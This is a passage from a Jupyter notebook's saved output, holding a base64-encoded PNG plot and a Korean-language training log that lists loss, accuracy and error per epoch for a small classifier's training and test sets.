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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "4 0.010969996452331543\n", "(2000,) (2000, 2)\n", "Epoch: 0, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.9392343163490295 0.34187498688697815 0.6581250131130219\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.8949334621429443 0.2874999940395355 0.7125000059604645\n", "Epoch: 10, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.6701160073280334 0.5329999923706055 0.46700000762939453\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.7002269625663757 0.5799999833106995 0.42000001668930054\n", "Epoch: 20, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.6058266758918762 0.7429999709129333 0.25700002908706665\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.6262642741203308 0.8025000095367432 0.19749999046325684\n", "Epoch: 30, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.45771920680999756 0.8845000267028809 0.11549997329711914\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.3860294818878174 0.8974999785423279 0.10250002145767212\n", "Epoch: 40, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.20976689457893372 0.9629999995231628 0.03700000047683716\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2975441515445709 0.9800000190734863 0.019999980926513672\n", "Epoch: 50, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.14997981488704681 0.9850000143051147 0.014999985694885254\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.24646048247814178 0.9775000214576721 0.02249997854232788\n", "Epoch: 60, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.14012670516967773 0.9879999756813049 0.012000024318695068\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09156344830989838 0.9925000071525574 0.007499992847442627\n", "Epoch: 70, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06262311339378357 0.996999979019165 0.003000020980834961\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09010564535856247 0.987500011920929 0.012499988079071045\n", "Epoch: 80, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0451287217438221 0.9944999814033508 0.00550001859664917\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07482466846704483 1.0 0.0\n", "Epoch: 90, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.07000424712896347 0.9934999942779541 0.0065000057220458984\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.054050177335739136 0.9975000023841858 0.002499997615814209\n", "Epoch: 100, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04860050603747368 0.9950000047683716 0.004999995231628418\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.019904067739844322 0.9950000047683716 0.004999995231628418\n", "Epoch: 110, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03314876928925514 0.9965000152587891 0.0034999847412109375\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03374424949288368 0.9925000071525574 0.007499992847442627\n", "Epoch: 120, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03193431720137596 0.9925000071525574 0.007499992847442627\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.013522228226065636 0.9975000023841858 0.002499997615814209\n", "Epoch: 130, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.052371796220541 0.9929999709129333 0.00700002908706665\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.01284225657582283 0.9950000047683716 0.004999995231628418\n", "Epoch: 140, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03566114231944084 0.9934999942779541 0.0065000057220458984\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03842979669570923 0.9950000047683716 0.004999995231628418\n", "Epoch: 150, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.021472638472914696 0.9944999814033508 0.00550001859664917\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.04203702509403229 0.9925000071525574 0.007499992847442627\n", "Epoch: 160, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.02838720940053463 0.9940000176429749 0.0059999823570251465\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.01952938362956047 0.9950000047683716 0.004999995231628418\n", "Epoch: 170, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0163345355540514 0.9944999814033508 0.00550001859664917\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.015413843095302582 0.9950000047683716 0.004999995231628418\n", "Epoch: 180, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.01161763072013855 0.9940000176429749 0.0059999823570251465\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.019135216251015663 0.9975000023841858 0.002499997615814209\n", "Epoch: 190, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.009701032191514969 0.9940000176429749 0.0059999823570251465\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.003821054007858038 0.9950000047683716 0.004999995231628418\n", 